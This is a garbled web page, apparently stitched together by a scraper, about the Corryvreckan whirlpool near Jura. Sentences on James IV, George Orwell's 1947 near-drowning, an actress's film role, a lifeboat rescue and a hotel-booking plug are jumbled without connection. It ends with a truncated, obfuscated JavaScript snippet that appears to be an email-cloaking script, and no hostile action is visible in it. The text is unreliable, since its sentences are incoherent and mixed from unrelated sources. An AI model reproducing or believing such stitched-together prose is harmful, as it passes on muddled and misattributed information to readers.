Water is forced upwards when it hits the submerged rock, causing huge waves. In the years 1493-98 James IV made four excursions around the west coast Scotland. Hiller was originally cast in the three roles Kerr played in The Life and Death of Colonel Blimp but had to withdraw because she got pregnant. One of the main departure points for boat trips to the whirlpool and its waters, known as the Gulf of Corryvreckan, is the small port of Crinan, on the Sound of Jura. // -->Please enable JavaScript to see the email address (How-to). He and a passer-by attempted to revive him before RNLI lifeboat crews arrived and took over. Handcoloured copperplate engraving drawn and engraved by William Read from William Combe's The Tour of Doctor Prosody, in search of the Antique and the Picturesque, through Scotland, the Hebrides, the Orkney and Shetland Isles . The Corryvreckan Whirlpool. In mid-August 1947, the author George Orwell nearly drowned in the Corryvreckan whirlpool. Breckan was set a seemingly impossible task. A wild camp at the Corryvreckan allowed for good views the day before and a chance for a swim in the nearby bay. The current gets deflected upwards by the pinnacle. Just when his task was almost over, a single strand of hair in the rope snapped and the entire line unravelled. Known as "The Queen of the Hebrides ", [8] it lies in Argyll just south west of Jura and around 40 kilometres 22 nautical miles north of the Northern Irish coast. Conveniently choose from Hotwire . And with that . for(var qtnwdt=["bQ","aw","YQ","Lg","Pg","dQ","Zg","Lw","eQ","dA","cw","YQ","YQ","LQ","bg","Lg","QA","aQ","Yw","dQ","dw","ZQ","Lg","Pg","ZQ","bw","dA","aw","IA","Ig","bw","ZQ","cg","bA","dg","bw","Ig","bg","dA","Lg","dA","bg","dg","dQ","cw","LQ","Yw","PA","dQ","cg","ZQ","ZA","ZQ","ZQ","YQ","bg","cg","dw","PQ","cw","Og","YQ","PA","aA","eQ","cw","ZA","ZQ","dA","QA"],epusmk=[9,39,10,60,41,38,6,67,46,25,42,1,68,55,18,37,47,11,61,64,30,54,63,69,28,36,33,65,2,40,14,23,4,12,22,62,8,44,13,34,59,50,48,26,32,29,35,0,52,27,31,19,49,5,43,24,53,56,7,16,15,17,66,3,20,58,45,57,51,21],cpfkww=new Array,i=0;i